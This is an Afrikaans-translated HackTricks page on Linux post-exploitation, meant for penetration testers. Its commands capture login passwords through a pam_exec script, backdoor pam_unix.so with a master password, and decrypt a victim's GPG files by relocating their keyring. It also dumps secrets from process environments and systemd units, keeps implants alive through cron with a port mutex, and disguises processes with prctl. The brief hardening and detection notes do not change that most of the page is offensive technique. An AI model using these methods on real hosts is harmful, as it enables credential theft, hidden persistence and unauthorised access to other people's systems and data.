Linux Post-Exploitation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Sniffing Logon Passwords with PAM
Kom ons stel ’n PAM-module op om elke wagwoord wat ’n gebruiker gebruik om aan te meld, te log. As jy nie weet wat PAM is nie, kyk:
PAM - Pluggable Authentication Modules
For further details check the original post. Hierdie is net ’n opsomming:
Oorsig van die Tegniek: Pluggable Authentication Modules (PAM) bied buigsaamheid in die bestuur van authentisering op Unix-gebaseerde stelsels. Hulle kan sekuriteit verbeter deur aanmeldprosesse aan te pas, maar stel ook risiko’s in geval van wanbenutting. Hierdie opsomming skets ’n tegniek om aanmeldkredensiale met PAM vas te vang, tesame met verligtingsmaatreëls.
Vaslegging van Kredensiale:
- ’n bash-skrip met die naam
toomanysecrets.shword geskryf om aanmeldpogings te log, en vang die datum, gebruikersnaam ($PAM_USER), wagwoord (via stdin), en die IP van die afgeleë host ($PAM_RHOST) na/var/log/toomanysecrets.log. - Die skrip word uitvoerbaar gemaak en in die PAM-konfigurasie (
common-auth) geïntegreer deur diepam_exec.somodule met opsies om stil te hardloop en die authentication token aan die skrip bloot te stel. - Die benadering demonstreer hoe ’n gekompromitteerde Linux-host misbruik kan word om kredensiale op ’n diskreete wyse te log.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Vir meer besonderhede, kyk na die original post. Dit is net ’n opsomming:
Die Pluggable Authentication Module (PAM) is ’n stelsel wat onder Linux vir gebruikersverifikasie gebruik word. Dit werk op drie hoofkonsepte: username, password, en service. Konfigurasielêers vir elke service is geleë in die /etc/pam.d/ gids, waar gedeelde biblioteke die verifikasie hanteer.
Doel: Wysig PAM sodat verifikasie moontlik is met ’n spesifieke wagwoord, en die werklike gebruikerwagwoord omseil word. Hierdie metode fokus veral op die pam_unix.so shared library wat deur die common-auth lêer gebruik word — hierdie lêer word deur byna alle services ingesluit vir wagwoordverifikasie.
Stappe om pam_unix.so te wysig:
- Vind die Authentication Directive in die
common-authlêer:
- Die reël wat verantwoordelik is vir die kontrole van ’n gebruiker se wagwoord roep
pam_unix.soaan.
- Wysig bronkode:
- Voeg ’n voorwaardelike stelling by in die
pam_unix_auth.csource file wat toegang verleen as ’n voorafbepaalde wagwoord gebruik word; anders gaan dit voort met die normale verifikasiestroom.
- Hersamestel en vervang die gewysigde
pam_unix.sobiblioteek in die toepaslike gids. - Toetsing:
- Toegang word met die voorafbepaalde wagwoord gegee oor verskeie services (login, ssh, sudo, su, screensaver), terwyl normale verifikasieprosesse onaangeraak bly.
Tip
You can automate this process with https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
As jy ’n geënkripteerde .gpg lêer en ’n gebruiker se ~/.gnupg gids (pubring, private-keys, trustdb) vind, maar nie kan dekripteer weens GnuPG homedir-permissies/slotte nie, kopieer die keyring na ’n skryfbare ligging en gebruik dit as jou GPG home.
Tipiese foutboodskappe wat jy sonder hierdie stap sal sien: “unsafe ownership on homedir”, “failed to create temporary file”, of “decryption failed: No secret key” (omdat GPG nie die oorspronklike homedir kan lees/skryf nie).
Werksvloei:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
As die geheime sleutelmateriaal in private-keys-v1.d teenwoordig is, sal GPG ontsluit en decrypt sonder om vir ’n passphrase te vra (of dit sal vra as die sleutel beskerm is).
Onttrekking van credentials uit proses-omgewing (containers ingesluit)
Wanneer jy code execution binne ’n diens kry, erf die proses dikwels sensitiewe omgewingsveranderlikes. Dit is ’n goudmyn vir lateral movement.
Vinnige wenke
- Dump jou huidige proses env:
envorprintenv - Dump ’n ander proses se env:
tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p' - Voeg by
strings -z /proc/<PID>/environastr/sednie beskikbaar is nie - In containers, kyk ook na PID 1:
tr '\0' '\n' </proc/1/environ
Wat om na te kyk
- App secrets and admin creds (byvoorbeeld, Grafana stel
GF_SECURITY_ADMIN_USER,GF_SECURITY_ADMIN_PASSWORD) - API keys, DB URIs, SMTP creds, OAuth secrets
- Proxy en TLS overrides:
http_proxy,https_proxy,SSL_CERT_FILE,SSL_CERT_DIR
Notas
- Baie orchestrations gee sensitiewe instellings via env deur; hierdie word deur kindprosesse geërf en blootgestel aan enige arbitêre shell wat jy binne die proses-konteks spawn.
- In sommige gevalle word daardie creds stelselwyd hergebruik (bv., dieselfde username/password geldig vir SSH op die host), wat ’n maklike pivot moontlik maak.
Systemd-gestoor credentials in unit files (Environment=)
Services wat deur systemd gelanseer word, kan credentials in unit files inbak as Environment= inskrywings. Enumereer en ekstraheer dit:
# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root
Operasionele artefakte often leak wagwoorde (bv., backup-skripte wat zip -P <pwd> aanroep). Daardie waardes word dikwels weergebruik in internal web UIs (Basic-Auth) of ander dienste.
Hardening
- Skuif geheime na toegewyde secret stores (
systemd-ask-password,EnvironmentFilewith locked perms, or external secret managers) - Vermy die inbed van creds in unit files; gebruik eerder root-only readable drop-in files en verwyder hulle uit version control
- Roteer leaked wagwoorde wat tydens toetse ontdek is
Cron-based persistence with loopback mutex
- Kopieer implants na verskeie writable paths (
/tmp,/var/tmp,/dev/shm,/run/lock) en installeer cron entries soos*/5 * * * * /tmp/<bin>sodat hulle respawn selfs as hulle elders verwyder word. - Enforce single-instance execution deur
n vaste loopback-poort te bind (byvoorbeeld127.0.0.1:51125of127.0.0.1:52225) en te exit asbind()misluk;ss -lntp | grep -E ‘51125|52225’` sal die mutex listener onthul. - Operateurs kan periodiek enige proses mass-kill waarvan die
cmdlinedie dropper name bevat (bv.init_stop), so die hergebruik van daardie name tydens analise kan bots; kies unieke filenames.
Process masquerading via prctl + argv overwrite
- Stel die kort prosesnaam met
prctl(PR_SET_NAME, "<label>")(15-bytecommlimit), algemeen opinit, sodat/proc/<pid>/statusen GUIs `n onskuldige label wys. - Oorskryf die in-memory
argv[0]buffer nadat jy die lengte van/proc/self/cmdlineen dieargv[0]pointer gelees het, en vul met NULs sodat/proc/<pid>/cmdlineenpsook die vals label wys. - Jaag deur
Name:in/proc/<pid>/statuste vergelyk teen die werklike executable path en soek na loopback mutex listeners wat deur prosesse met klein/leë cmdlines besit word.
References
- 0xdf – HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)
- alseambusher/crontab-ui
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
- Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


